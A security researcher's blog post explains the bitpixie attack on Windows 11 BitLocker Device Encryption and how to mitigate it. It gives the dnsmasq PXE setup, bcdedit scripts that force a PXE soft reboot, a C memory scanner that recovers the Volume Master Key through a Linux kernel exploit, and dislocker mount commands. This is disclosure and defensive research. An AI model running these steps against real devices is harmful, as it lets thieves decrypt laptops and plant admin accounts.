~37 min read

Windows BitLocker -- Screwed without a Screwdriver

Breaking up-to-date Windows 11 BitLocker encryption -- on-device but software-only
Authored by:

Teaser

Someone steals your laptop. It’s running Windows 11, fully up-to-date. Device encryption (Windows BitLocker) is enabled. Secure Boot is active. BIOS/UEFI settings are locked down. So, you’re safe, right?

  • Question 1: Can the thief access your files without knowing your password?
  • Question 2: Do they even need to disassemble the laptop for the attack?

The answer: Yes, they can access your files. And, no, they don’t need to disassemble the laptop. The device can stay closed, no screwdriver is required. Thanks to a bug discovered by Rairii in August 2022, attackers can extract your disk encryption key on Windows’ default “Device Encryption” setup. This exploit, dubbed bitpixie, relies on downgrading the Windows Boot Manager. All an attacker needs is the ability to plug in a LAN cable and keyboard to decrypt the disk.

When I first learned about this, my reaction was WHY ISN’T THIS FIXED IN 2025, AND HOW DID I NOT KNOW ABOUT THIS UNTIL NOW? Hardware attacks? Sure, I was familiar with those. But a pure software exploit this simple? Surely it couldn’t be real!

In this post, I’ll guide you through my deep dive into the bitpixie vulnerability. First, I’ll share what motivated this research, then unpack the technical details of the attack, and finally outline potential mitigations. The broader question of why Microsoft hasn’t fully addressed this issue demands its own post. In a dedicated article — On Secure Boot, TPMs, SBAT and Downgrades — Why Microsoft hasn’t fixed BitLocker yet — I demystify the Secure Boot ecosystem and explain the challenges at play.

For the blue teamers among you, there is a section on affected devices and mitigations further down below, if you want to skip ahead. Short answer: use a pre-boot PIN, or apply KB5025885.

Rather watch a talk than read? Check out my 38C3 talk at the bottom of this post.

Note that there aren’t any tools for exploiting this bug that are widely available yet. While this post describes everything you need to know, we are not publishing a ready-made tool.

Motivation

I’ve always wondered how folks gain access to encrypted devices without knowing the password. Sure, they likely have some bugs, but what kinds of bugs? Do they need government backdoors or 0-days? My assumption was: If I have a fully up-to-date system, surely I am pretty secure.

Then, in January 2024, the 6th edition of the Realworld CTF came along with a very intriguing challenge: “Grandma’s Laptop”. We were given remote access to a BitLocker-encrypted Windows system running in QEMU. Hence, no hardware attacks were possible. The CTF ended without any solves, even though many of the world’s top teams were competing.

The challenge author was even kind as to drop a hint: https://github.com/Wack0/bitlocker-attacks. In the following months, I spent some time off and on digging into this a lot more. This blog is the result of my research. May it be helpful for you, dear reader!

BitLocker. How does it even work?

Before discussing the exploit in detail, let’s review some BitLocker basics. Many researchers have extensively written about BitLocker, so I’ll only recap the important and relevant facts here. Let’s first have a look at the Microsoft documentation:

BitLocker is a Windows security feature that protects your data by encrypting your drives. This encryption ensures that if someone tries to access a disk offline, they won’t be able to read any of its content.

BitLocker is particularly valuable if your device is lost or stolen, as it keeps your sensitive information secure. It’s designed to be user-friendly and integrates seamlessly with the Windows operating system, making it easy to set up and manage.

BitLocker offers two functionalities:

  • Device Encryption, which is designed for simplicity of use, and it’s usually enabled automatically
  • BitLocker Drive Encryption, which is designed for advanced scenarios, and it allows you to manually encrypt drives

To summarize, BitLocker is a disk encryption, where ease of use is important. There are two “modes” of operation: Device Encryption and BitLocker Drive Encryption. The former is an automatically enabled, simple-to-use default configuration of BitLocker. This is the only form of encryption available on Windows Home, while the full BitLocker features require Pro/Enterprise editions.

Ease of use is not only important for home users, though; It has the same relevance in corporate environments! As such, the configuration we see most often in the wild is precisely that of Device Encryption. To achieve this ease of use, Device Encryption is configured to automatically unlock the disk without the user even noticing. I call this unattended unlock. The hard drive is encrypted at rest but is automatically unsealed when a legit Windows boots, which means that users don’t need a separate disk decryption password: They just have to sign in with their usual user account. The Windows bootloader and Secure Boot are supposed to protect the disk encryption. Unfortunately, this configuration has been broken for quite a while.

Let us now look at the high-level key derivation for BitLocked root partitions:

Image 1: BitLocker Keys, simplified

Very simplified, the Disk stores four distinct pieces of data:

  • the unencrypted bootloader (something needs to do the decryption, after all), and
  • three pieces of encrypted data:
    • the Volume Master Key (VMK),
    • the Full Volume Encryption Key (FVEK), and
    • the Encrypted Data, which contains the Windows kernel, drivers, software, and all user data.

Encrypted data is read in three steps:

  1. The bootloader uses some TPM black magic (which we’ll examine later) to decrypt the Volume Master Key (VMK) stored on the disk.
  2. With the now decrypted VMK, the FVEK can be decrypted.
  3. Finally, that FVEK is used to decrypt all data. It is kept in memory, and whenever a block of data needs to be read/written, it is used. Most software doesn’t even know that the disk is encrypted, as the kernel transparently handles all the de/encryption of blocks and files.

VMK Decryption

VMK decryption is a bit involved. The VMK has so-called “Protectors” and each, on its own, can be used to derive the same VMK. Almost always, multiple protectors are present. Let’s look at a few relevant ones:

The easiest way to do VMK decryption is to let the user enter a password. This is supported (though it’s not the default) and is called pre-boot authentication. Something similar is used for recovery: There is usually at least one recovery password that is automatically generated and saved in the user’s Microsoft account or printed during the BitLocker setup. Such a recovery secret usually looks like 049687-028908-468886-502117-436326-177529-711007-400917.

But recall that the intention of BitLocker is to be user-friendly! Letting the user enter a password before even the Windows kernel is available seems like quite some hassle. One more password that could be forgotten. This is where a magic black box called the “Trusted Platform Module” (TPM) comes into play. With its help, a nice feature called Secure Boot is implemented, which can attest that a valid Windows is booting. If, and only if, a bootloader with a valid Microsoft signature boots, the TPM gives access to the VMK. If anything goes wrong during this unlocking, the bootloader prompts the user to use the dreaded BitLocker recovery screen. Since this TPM and Secure Boot-based unlock is usually invisible to the user, it is a nice default. I like to call this unattended unlock, since it unlocks the disk without any user interaction, as long as the bootloader is legit.

To see all protectors on your specific BitLocker partition, run manage-bde -protectors -get c: from a Windows console:

PS C:\Users\win-t> manage-bde -protectors -get c:
BitLocker Drive Encryption: Configuration Tool version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. All rights reserved.

Volume C: []
All Key Protectors

 Numerical Password:
 ID: {C2932722-6C21-48A9-8A43-B33DBD329DAE}
 Password:
 049687-028908-468886-502117-436326-177529-711007-400917
 Backup type:
 Microsoft account backup

 TPM:
 ID: {85825FF8-3733-48D0-B0EE-4D32D8AAFD7A}
 PCR Validation Profile:
 7, 11
 (Uses Secure Boot for integrity validation)

Above, you see the default output on a freshly set up Windows 11 24H2. It has two protectors: The first is a recovery key backed up to the Microsoft account and the second is a TPM protector with the default PCR 7,11 Secure Boot Validation. What this means precisely, we’ll see later.

The decrypted VMK is really all we need to decrypt the drive! So, let’s investigate how that works on a normal Windows boot a bit more closely.

Unattended Unlock Boot Flow

Image 2: Windows Boot Flow

The Windows bootloader is reasonably complicated and has lots of different options. Here, we only show the parts relevant for this exploit. Let us first look at the happy case of a typical Windows boot:

Happy case! There are three components: platform/UEFI booting, the Windows boot manager bootmgfw.efi, and the full Windows environment.

  1. Platform boot (UEFI) initializes the system and:
    1. The UEFI firmware checks the digital signature of the Windows bootloader (bootmgfw.efi) using Secure Boot magic.
    2. Once verified, the UEFI chainloads the bootloader from the unencrypted portion of the disk.
  2. Bootloader (bootmgfw.efi) determines which disk to boot from, decrypts it, then boots into the Windows OS.
    1. Reads the Boot Configuration Data (BCD).
    2. Identifies the target disk and reads its metadata. If it’s BitLocker-encrypted, the metadata includes the encrypted Volume Master Key (VMK).
    3. Requests the TPM to decrypt the VMK, using PCR-based validation (e.g., PCR 7,11 by default).
    4. Uses the decrypted VMK to unlock the Full Volume Encryption Key (FVEK), which decrypts the rest of the disk.
    5. Decrypts the Windows kernel and related data on the disk, then boots into the operating system.
  3. Windows login prompts the user for their credentials to complete the boot process and access the system.

At every step in this flow, many things could go wrong.

Error case! If the bootloader encounters an issue (e.g., corrupted files or invalid configuration), it attempts to boot into a recovery environment. This is done by returning to the BCD, looking up the relevant recovery entry, and attempting to boot it. The recovery image could be anything: It might be another valid Windows, which could unseal the disk, or it might not. Hence, all secrets (e.g., VMK, FVEK) in memory must be wiped before transitioning to recovery! If secrets remain in memory, the recovery environment could inadvertently leak them or be exploited by an attacker. — foreshadowing intensifies

With all that understanding under your belt, let’s finally look at the bug:

Bitpixie: How Does the Exploit Work?

In one of the bootloader’s many flows, disk encryption keys are not deleted when fallback booting. — Oops. — This bug, known as bitpixie (CVE-2023-21563), was discovered in August 2022 by Rairii, but had actually existed in the Windows bootloader since October 2005. It was fixed late 2022, and publically disclosed in February 2023. Due to some unfortunate design in the Secure Boot standard, it is still exploitable today!

The issue arises during a specific flow known as the “PXE Soft Reboot”. When a boot fails, this is supposed to load a recovery image via the network, without fully restarting the system. Unfortunately, the bootloader forgot to wipe the VMK — the critical piece of data that unlocks the BitLocker-encrypted disk — before attempting this. As a result, the VMK remains potentially accessible to any code loaded during or after the PXE boot.

Image 3: Windows Boot Exploit Flow

Why isn’t this fixed you might ask? Great question! Of course, it is fixed in new bootloaders! But the situation isn’t so simple. Recall that the TPM gives us the VMK if any legit Windows boots? There is (by default) no additional verification. This means we can simply downgrade our bootmanager, to one that still has the vulnerability. And it isn’t at all difficult to find an old one.

The bug itself is not all that interesting. Forgetting to clear the key when you do something else is a pretty common issue. But the exploit is interesting, and the investigation into why this is still exploitable is even more so!

Exploit steps
Let’s formulate an exploitation plan:

  1. PXE Boot into downgraded, vulnerable bootloader.
  2. Serve a “correct-enough” boot configuration.
    • Correct enough to unseal the BitLocker-encypted partition with the TPM.
    • Broken enough to trigger the recovery flow into a PXE soft reboot.
  3. Boot into Linux and scan the physical memory for the VMK.
  4. Use the VMK to mount the BitLocker partition with read/write access.

Step 1: PXE Boot Into a Downgraded Dootloader

If you’ve ever used PXE, you might know that is kind of a pain to set up. At least I struggled in the past getting it to work in my home network. Thankfully, our scenario is a bit simpler. Here, we only need two devices: the attacker device and the victim device. No full network is required! Instead, we’ll set up a point-to-point link by connecting the two devices with a LAN cable.

With that, we can leverage dnsmasq, a fantastic tool that bundles everything we need for this operation:

sudo dnsmasq --no-daemon \
    --interface="$INTERFACE" \
    --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
    --dhcp-boot=bootmgfw.efi \
    --enable-tftp \
    --tftp-root="$ABS_TFTP_ROOT" \
    --log-dhcp

Here’s what’s happening: On the attacker device, we start dnsmasq on the network interface that is connected to the victim. We choose an arbitrary DHCP range, and set the dhcp-boot option to the filename of our downgraded bootloader. We enable a TFTP to deliver all necessary files, including the vulnerable bootloader, and enable logging.

But wait, you say! Where do we get this ominous “downgraded bootmanager” from? Any way you want, really. The key is that it must predate November 2022 (build 25236) when PXEboot vulnerabilities were patched. This can, for example, be old Windows ISOs. You could also try your luck on Winbindex, though many (all?) of the old bootmanagers are not available anymore.

Before proceeding, I ensured my PXE boot setup is functional. To build confidence, I booted into various operating systems with Secure Boot disabled. You could also reboot into a copy of the original Windows boot manager with secure boot enabled, which should allow you to boot the normal Windows installation from the disk.

Step 2: Unlock Bitlocker by Serving a Correct-Enough Boot Configuration

In addition to the bootmgfw.efi file, several supporting files are required. When we copy the boot manager from a legitimate EFI partition, we can just grab all files from there. Otherwise, we can look at the TFTP log in dnsmasq to see what files the boot manager requests. Most of the files are non-essential assets like fonts and UI elements. If these are missing, the boot manager will still function, albeit with a less polished, text-only UI. The essential part we do have to worry about is a config file: the Boot Configuration Data (BCD), located at $TFTP/Boot/BCD. The BCD file is analogous to a grub.cfg file in Linux. It describes all available boot options and fallbacks, specifying details like the partition and kernel to boot from, as well as associated parameters.

Official documentation on BCD is kind of sparse, though some resources have reversed most of the structure. The file is a Windows registry hive and can, in theory, be edited by any registry editing tool. In practice, though, there are lots of magic values in them, so I didn’t find this particulary helpful. Instead, I recommend using Microsoft’s official bcdedit.exe tool, which is preinstalled on all Windows machines.

There are a bunch of hidden arguments to bcdedit that help a bit: Use bcdedit /store testbcd /enum all or bcdedit /store testbcd /enum all /raw to print the raw values contained in a BCD file. Without the raw argument there is some pretty printing applied, that for example hides the partition GUID and simply replaces it with the corresponding drive letter, e.g. C:. If you don’t know that, you get reaaally confused why your BCD isn’t working right :p.

Some helpful resources for learning more:

Okay, so now we know how to edit a BCD file. But what do we put in there? This was the trickiest part of this exploit chain, as you get very little feedback when things go wrong. Recall the bug we are trying to reproduce: We want the bootloader to attempt to boot from our BitLocker partition, fail, and then trigger a PXE soft reboot into our controlled OS.

The easiest way to get this working has three parts:

  1. Get the original BCD from the victim’s device. This ensures the configuration matches the specific partition GUIDs. You can do that by shift-rebooting Windows, going “Troubleshoot > Advanced options > Command Prompt”, mounting the boot partition, and copying its contents to a USB drive. Or, be more advanced and use an SMB mount, if you don’t have USB access.
mountvol s: /s
Copy-Item S:/EFI D:/efi-copy -Recurse
  1. Using bcdedit, create a new boot entry for the PXE soft reboot. The element list on Geoff Chappell / BCD Elements is helpful here:
bcdedit /store BCD_modded /create /d "softreboot" /application startup

We specify a custom store, so we operate on that file, not the system store. We create a new startup application and give it an arbitrary name, here “softreboot”. Then, we need to set this up to use pxesoftreboot:

bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes

Note that we set the path to shimx64.efi. This is the bootloader that will be loaded when this boot entry is selected! More on that later.

  1. Add this new boot option as recovery to our default boot entry, and modify the default boot entry to always trigger recovery. We do this by setting the path to \. By pointing to a valid path but an invalid kernel, the bootloader will fail but still unlock the BitLocker partition, leaving the Volume Master Key (VMK) in memory. Any other syntactically valid path that doesn’t point to a bootable kernel would work as well:
bcdedit /store BCD_modded /set {default} recoveryenabled yes
bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
bcdedit /store BCD_modded /set {default} path "\\"
bcdedit /store BCD_modded /set {default} winpe yes

We cannot create a universal BCD that works for all targets. This is because in the BCD we just copied, there is a DEVICE property that specifies the partition GUID to boot from. This GUID varies between systems, so the BCD must be tailored to the target. When this GUID is wrong, the bootmanager won’t attempt any disk unseals, and the VMK won’t be left in memory. While you could edit the GUID, which is also available from the target device command prompt or disk metadata, it’s often easier to copy the original BCD and modify it.

The complete BCD edit procedure, executed from the recovery command prompt, looks like this:

d:
bcdedit /export BCD_modded
bcdedit /store BCD_modded /create /d "softreboot" /application startup>GUID.txt
For /F "tokens=2 delims={}" %%i in (GUID.txt) do (set REBOOT_GUID=%%i)
del guid.txt
bcdedit /store BCD_modded /set {%REBOOT_GUID%} path "\shimx64.efi"
bcdedit /store BCD_modded /set {%REBOOT_GUID%} device boot
bcdedit /store BCD_modded /set {%REBOOT_GUID%} pxesoftreboot yes

bcdedit /store BCD_modded /set {default} recoveryenabled yes
bcdedit /store BCD_modded /set {default} recoverysequence {%REBOOT_GUID%}
bcdedit /store BCD_modded /set {default} path "\\"
bcdedit /store BCD_modded /set {default} winpe yes

bcdedit /store BCD_modded /displayorder {%REBOOT_GUID%} /addlast
copy d:\BCD_modded p:\BCD
Image 4: Example of a modified BCD (simplified)

Step 3: Boot Into OS, Scan Memory for VMK

Booting into the downgraded bootmanager and modified BCD is straightforward: Just use the shift-reboot trick in Windows again. Navigate to “Use a device > PXE Boot”. This action will boot into the downgraded bootmanager, load the BCD, unseal the disk, fail to launch the kernel, and execute the pxesoftreboot.

I was testing this exploit in QEMU, and once I got this far, immediately dumped memory, scanned for the VMK, and found it! Happy with the result, I got ready to wrap up this exploit. I thought reading the memory for the VMK would be straightforward — just boot into my controlled OS, and scan the memory. But I quickly realized another challenge lay ahead: Secure Boot — again.

Since the system we are operating on still has Secure Boot enabled, the Windows bootloader checks the signature for the next stage we are doing a fallback boot into. We don’t necessarily have to network boot into Windows, but the payload must have a valid secure boot signature.

The first attempt: Just use Linux! Major Linux distributions have Secure Boot, right?

It seemed promising: Modern distros use a signed “shim” (a pre-boot loader) approved by Microsoft’s third-party Secure Boot certificate. Recall that we specified shimx64.efi as path in the pxesoftreboot recovery entry? That’s where this came from. Secure Boot implementations on Linux involve multiple layers:

  • Shim: Signed by Microsoft, it includes a distro-specific key (though the codebase is the same) to boot a distro-signed grub.
  • Grub: Signed with the distro’s key, loads only distro-signed kernels.

This means we need matching shim+grub+kernel from a distro that has everthing nicely signed. I picked a random netboot image with Secure Boot support, PXEBoot it, and dumped the memory:

 cat /dev/mem
cat: /dev/mem: Permission denied
 sudo cat /dev/mem
cat: /dev/mem: Operation not permitted
 sudo dmesg | tail -n 1
[328854.672148] Lockdown: cat: /dev/mem,kmem,port is restricted; see man kernel_lockdown.7

Ahh, great! Our kernel is in lockdown mode :) This is a feature of the Linux kernel to protect itself from root. In lockdown mode, any kernel modifications, including loading unsigned modules, are blocked, even if an attacker has full root privileges. This includes any raw memory read or write access. Once enabled, lockdown cannot be disabled on a running system.

Step 3a: Finding a Way Around Lockdown Mode

I figured we might not even need a Linux kernel since grub also offers some built-in memory reading/writing functionality! But, as it turns out, grub helpfully also disables those when Secure Booted, via the shim-lock ‘protocol’, see ArchWiki/GRUB#Shim-Lock or grub Manual.

Additionally, the commands that can be used to subvert the UEFI Secure Boot mechanism, like iorw and memrw, are disabled in Secure Booted environments via the GRUB Lockdown mechanism.

Okay, that’s a non-starter. Maybe we can find a signed shim that is “weird”, and let’s us boot into something that doesn’t have raw-memory read restrictions? We can look for distros that have shim available on pkgs.org/shim or pkgs.org/shim-signed. The coordination process for signing shims is also public at GitHub: shim-review. Unfortunately, many bootloaders were recently revoked due to severe security issues, and won’t boot anymore when secure boot is enabled. I needed something reasonably recent. I ultimately found no viable workaround here, and just stuck to a shim from one of the major distros.

Okay, so we are back to bypassing lockdown on a Linux kernel. Distros really go out of their way to include custom lockdown patches downstream. Looking at upstream code doesn’t help; you have to go to the source of your actual distro.

For example, here are all the custom patches Debian had in 2016 for protecting lockdown mode: Debian GitLab: debian/patches/features/all/lockdown. Yes, there really were 33 custom patches, just for lockdown. These days, there are a lot fewer but the main kernel-lockdown-on-Secure-Boot patch is still there: efi-lock-down-the-kernel-if-booted-in-secure-boot-mo.patch, as upstream refuses to merge that. The reason behind the distros patches is simple, as seen in openSUSE Begins Enforcing Secure Boot Kernel Lockdown:

[…] according to a Reddit thread that also links to an openSUSE mailing list, Microsoft evidently refused to continue signing openSUSE’s bootload shim unless Kernel Lockdown was enabled. As a result, beginning with kernel 6.2.1, openSUSE Tumbleweed will enable Kernel Lockdown whenever Secure Boot is also enabled.

Funny side note: Kernel docs on lockdown are wrong here: They mention lockdown is automatically enabled when Secure Boot is on. However, this is only true for downstream kernels. They simply copied fedoras man page.

In the past, we had exploits like american-unsigned-language to get around lockdown. However, I could not find a kernel on which such an exploit worked and from which I could boot.

Another avenue I briefly persued was to enroll a Machine-Owner-Key (MOK). This is a feature provided by most Linux shims that let users sign their own kernels with their own keys. To configure the MOK, I would have to boot into a MoKManager bootloader that would enroll the key. From my brief experiments, I could not get this to work from PXE. Since this solution felt inelegant, leaving traces on the device, I abandoned it.

To summarize: All Linux distros that are bootable with Microsoft-signed Secure Boot also enable lockdown mode on boot. Lockdown is pretty solid, and known bypasses get patched. None of the lockdown bypasses or raw memory reads I could find (e.g., broken drivers, ACPI tables, some random DMA things) worked anymore. Kernel modules must be signed to be loaded, so that isn’t an option either.

What to do? Easy! Let’s exploit a Linux kernel in this Windows bootmanager exploit :D Luckily, nowhere in the Linux boot chain does it say we have to boot up-to-date software (cough SBAT cough, more on that later!). So we ran another “downgrade”, and looked for some old kernel with known vulnerabilities.

What Kernel should we pick? We needed one that still boots on the latest shim/grub, which means signed after the distro last rotated their signing keys. Also, we have to make sure to get the shim, the grub, and the kernel, all from the same distro. Since Ubuntu somewhat recently rotated their Secure Boot keys (Ubuntu 2022v1 Secure Boot key rotation and friends), their old kernels will no longer boot, so I went with Debian. They have great archives from which we can pick a suitable version. I selected an up-to-date shim and grub, and used the arbitrarily selected kernel 5.14:

Next Problem: Booting old Kernel with modules: Getting shim and grub to run is straightforward — just drop them into the TFTP folder. Booting the kernel isn’t hard as well, but the initial filesystem, either initrd or initramfs, is a bit tricky. Taking any random old initial filesystem works, but we run into issues with kernel modules, because the kernel is still in lockdown mode and enforces module signature checks. Yay. We need matching initrd and kernel.

Finding a prebuilt old netboot kernel/initrd combination proved a dead end. There might be the perfect secure-bootable netboot out there, but I didn’t find it. This which left me with no choice but to build my own initrd based on the selected kernel and kernel-modules. Note: If your exploit doesn’t require any external kernel modules, you might get away without this step, and can just use a random initrd.

The first tool I found was an Alpine-based initrd builder: alpine-initrd. Alpine is not Debian, you say? No matter, I unpacked my botching tools and got to work! The correct kernel modules, with matching versions and signatures, were already part of the Debian kernel .deb file I had downloaded earlier. I modified the dockerfile to copy the correct kernel modules. To actually get them to load, depmod -a is your friend. Could this process have been more elegant? Absolutely. But it was built incrementally without hindsight, and it works surprisingly well! The Linux Kernel has a stable userspace ABI after all.

With the initrd in place, the last step was configuring grub to boot it. This required creating a simple grub.cfg file in the $TFTP/grub folder, alongside the kernel and initrd in the TFTP root directory:

menu entry "Debian 5.14 with Alpine Initramfs" {
 set gfxpayload=keep
 linux   debian-kernel-514
 initrd  alpine-initrd.xz
}

Step 3b: Exploiting the Linux Kernel

We have now successfully PXE-booted into Debian 5.14 on Secure Boot. Now came another fun part: exploiting the kernel to read raw memory. I used a vulnerability in Debian 5.14, CVE-2024-1086. Why this one? Honestly, pretty random. A colleague suggested it because it has a public PoC by Notselwyn, and it worked well for this purpose. Feel free to pick your favourite vulnerability. The exploit I used takes advantage of a primitive that maps page tables into userspace, making raw memory scanning easy. Because of this, I didn’t even bother disabling or bypassing lockdown mode, I could scan for the VMK straight from the exploit.

Scanning for the VMK in memory was straightforward thanks to a nice 8-byte magic header: -FVE-FS-. This header is part of a data structure containing the VMK. There are multiple structures with this header. To find the correct one, I used QEMU. First, I used dislocker to dump the expected VMK (knowing the recovery key). Then, I used QEMU to dump memory. Finally, I compared the known-good VMK against the memory dump across multiple boots.

The structure was always really similar: The structure always started with -FVE-FS. The “version” field at offset 4 was always 1. The VMK’s exact offset within the struct varied depending on OS version, but I found that the 4 bytes immediately preceding the VMK were always the same: 03 20 01 00. Using this pattern, I built a reliable VMK scanner that works across all Windows 10 and 11 versions I tested:

// Haystack search for the needle. We have 'redirected' the pmd_data_area to point to physical memory with our PTE override above:
//printf("[+] haystack.\n");
void* pmd_vmk_hdr_addr = memmem(pmd_data_area, 0x200000, "-FVE-FS-", 8);
if (pmd_vmk_hdr_addr == NULL)
    continue;

unsigned long long phys_vmk_hdr_addr = phys_base + (pmd_vmk_hdr_addr - pmd_data_area);

// We have found a potential VMK! hexdump the area around it!
printf("[+] found possible VMK base: %p -> %016llx\n", pmd_vmk_hdr_addr, phys_vmk_hdr_addr);
hexDump("VMK Candidate", pmd_vmk_hdr_addr, 0x10*40, 0x10);

uint32_t version = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4); // version
uint32_t start = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4+4); // start
uint32_t end = *(uint32_t*)(pmd_vmk_hdr_addr + 8+4+4+4); // end
if (version != 1) {
    printf("[+] VERSION MISMATCH! %d\n", version);
    continue;
}
if (end <= start) {
    printf("[+] NOT ENOUGH SIZE! %x, %x\n", start, end);
    continue;
}

// Now we found the correct VMK struct, look for more bytes that signal start of VMK
// No idea what they actually represent, just bindiffed win10/11 struct in memory and found them to be constant here.
void* pmd_vmk_addr = memmem(pmd_vmk_hdr_addr, end, "\x03\x20\x01\x00", 4);
if (pmd_vmk_hdr_addr == NULL) {
    printf("[+] VMK-needle not found!\n");
    continue;
}

char* vmk = pmd_vmk_addr + 4;
printf("[+] found VMK at: %p \n", vmk);
/// [...]
fwrite(vmk, sizeof(char), 32, file);

In practice, I never encountered a case where Linux overwrote the VMK in memory. While I’m not certain this behavior is guaranteed, I’m not complaining! :)

Note that there are many other ways to achieve the same goal. For example, we could have booted into a second Windows installation and loaded a vulnerable kernel driver there. However, I was more familiar with Linux, so this method was the most practical for me.

Running the exploit, we get:

[...]
VMK Candidate:
  0000  2d 46 56 45 2d 46 53 2d 00 40 00 00 01 00 00 00  -FVE-FS-.@......
  0010  20 00 00 00 b0 00 00 00 00 00 00 00 00 00 00 00   ...............
  0020  90 00 00 00 01 00 00 00 30 00 00 00 90 00 00 00  ........0.......
  0030  61 e8 6f 18 a5 40 83 47 82 11 84 b4 85 8e 12 2f  a.o..@.G......./
  0040  13 00 00 00 04 80 00 00 76 46 2d 5c e0 b5 da 01  ........vF-\....
  0050  2c 00 05 00 01 00 01 00 03 20 01 00 4a 50 39 47  ,........ ..JP9G
  0060  d7 0d aa ea 23 44 d1 d4 fc aa 9c a4 e4 10 ae e7  ....#D..........
  0070  0a 5e a4 96 b3 68 82 72 b6 90 09 4a 08 00 04 00  .^...h.r...J....
  0080  07 00 01 00 2c 00 09 00 01 00 01 00 05 20 00 00  ....,........ ..
  0090  a7 b5 99 e7 bf 12 e1 81 0f ab f0 b0 f6 b8 8a 8c  ................
  00a0  a7 c7 b5 6a f8 b8 c3 6a 0b a4 7e 88 fd 6a 9f 8b  ...j...j..~..j..
  00b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00c0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  00f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

VMK = 4a 50 39 47 d7 0d aa ea 23 44 d1 d4 fc aa 9c a4 e4 10 ae e7 0a 5e a4 96 b3 68 82 72 b6 90 09 4a

Step 4: Mounting the BitLocker Paritition With VMK

Finally, we’ve arrived! With the VMK in hand, mounting the BitLocker partition should be straightforward, right? Well, almost… Windows doesn’t expect you to have the decrypted VMK at hand, and there is no official tooling using it from CLI.

On Linux, there are (at least) two tools for mounting BitLocker disks: dislocker and cryptsetup.

dislocker is great, as it directly accepts the VMK from CLI. It decrypts the BitLocker volume and provides access to its contents. Unfortunately, it breaks when handling partitions created on Windows 11 24H2 right now: dislocker/issues/334. This issue prevents the tool from parsing the disk and even attempting decryption.

The other tool, cryptsetup does not have this restriction, and works with 24H2 disks. But it has it’s own small caveat — it only accepts the FVEK, not the VMK from CLI. But a minor patch to cryptsetup enables it to accept VMKs directly.

Here’s how you’d typically use dislocker given a VMK:

modprobe fuse
mkdir bitlocker
dislocker -V $PARTITION -K vmk.dat -vvv -- bitlocker
mkdir mnt
mount -t ntfs-3g -o loop bitlocker/dislocker-file mnt

We have full read and write access to the BitLocker partition. This means not only can we dump any stored secrets, we can for example also add a new admin-user. We can then boot the device without the exploit, and have full admin rights on the device.

Affected Devices

During my talk, I demonstrated this bug live on a Lenovo P14s Gen 2 laptop. However, it is pretty much applicable to all devices using the default BitLocker “Device Encryption” setup, as this configuration relies solely on Secure Boot to automatically unseal the disk during boot. Notably, Microsoft recently enabled exactly this default configuration on all Windows 11 24H2 devices that are signed into a Microsoft account. This is great to see! Bring disk encryption to everyone! However, there’s still a long way to go before it’s actually secure by default.

To exploit bitpixie, an attacker needs:

  • physical access to the device,
  • access to a keyboard and a network port (for network booting) or a USB port to connect an external LAN adapter,
  • network boot (PXEBoot) enabled or a way to enable it.

If someone steals a device, this is easily fulfilled! As far as I am concerned, this vulnerability affects all Secure Boot-protected BitLocker partitions on all versions of Windows, except for those having taken manual steps to mitigate this, or those running exactly July 2024 security update and no newer update (what a weird thing to say, right? Read on to find out why :p)

To check if your concrete setup is vulnerable, check what protectors your BitLocker partition has. You can do this in Powershell with manage-bde -protectors -get c:. This prints something along the lines of:

> manage-bde -protectors -get c:

Volume C: []
All Key Protectors
[...]
 TPM:
 ID: {85825FF8-3733-48D0-B0EE-4D32D8AAFD7A}
 PCR Validation Profile:
 7, 11
 (Uses Secure Boot for integrity validation)

Then, check the PCR Validation Profile. If it shows exactly 7, 11 you are vulnerable. If it includes a 4, you aren’t affected.

Optionally, check that you don’t have KB5025885 applied, which prevents this downgrade attack from working. Only systems using a bootloader signed with the 2011 Secure Boot certificate are vulnerable, which is the default. To check this, mount your boot partition and check the signature of S:\EFI\Microsoft\Boot\bootmgfw.efi, as shown in Step 2d in KB5025885.

Mitigation

As you might expect, Microsoft is well aware of this vulnerability. Unfortunately, there is no “easy and perfect” fix for this bug, which is why Microsoft hasn’t fixed this from their end. They’ve attempted to rollout fixes before, most recently for CVE-2024-38058, which has a similar impact to the bug exploited here. Unfortunately, their fix caused compatibility issues, forcing them to roll back the update within a month.

Downgrade protection in Secure Boot was really more of an afterthought, though that is slowly changing right now. Here are your mitigation options, each with its own trade-offs. Most aren’t available on Windows Home, which only gets the basic “Device Encryption” feature. Full BitLocker functionality requires a Pro/Enterprise license.

Worried about your own encryption, and this is all way too complicated? As a first step, stop relying on automatic unsealing, and set a pre-boot password. That makes you an order of maginude more secure:

Option 1: pre-boot authentication In my opinion, this is the most secure “easy” solution available. Enabling pre-boot authentication requires users to enter a password before the system boots. In this mode, the TPM provides brute-force protection, and the attacker would have to either know the password or break the TPM. However, this option introduces a minor inconvenience, as every user must authenticate at boot.

If you have a discrete TPM (dTPM) on your motherboard, a secure pre-boot PIN is the only way to protect against hardware-based bus-sniffing attacks, since TPM parameter encryption isn’t enabled yet for BitLocker keys.

Option 2: adjust PCR configuration This bug relies on a bootloader downgrade, and the fact that all secure-bootable Microsoft bootloaders can unlock the disk in the default configuration. Preventing bootloader downgrades, and always keeping it up-to-date thus protects you from known bootloader vulnerabilities. You can do this by using a BitLocker PCR configuration of 0/2/4/11 instead of 7/11, sometimes called “legacy configuration”, since it doesn’t rely on Secure Boot. However, there are two main trade-offs: (1) This still leaves you vulnerable to unknown bootloader 0-days. (2) You may experience more frequent BitLocker recovery screens (e.g., after UEFI or bootloader updates), where the automated disk unlocking fails. This heavily depends on your exact setup but is one of the reasons Microsoft has changed its default to Secure Boot.

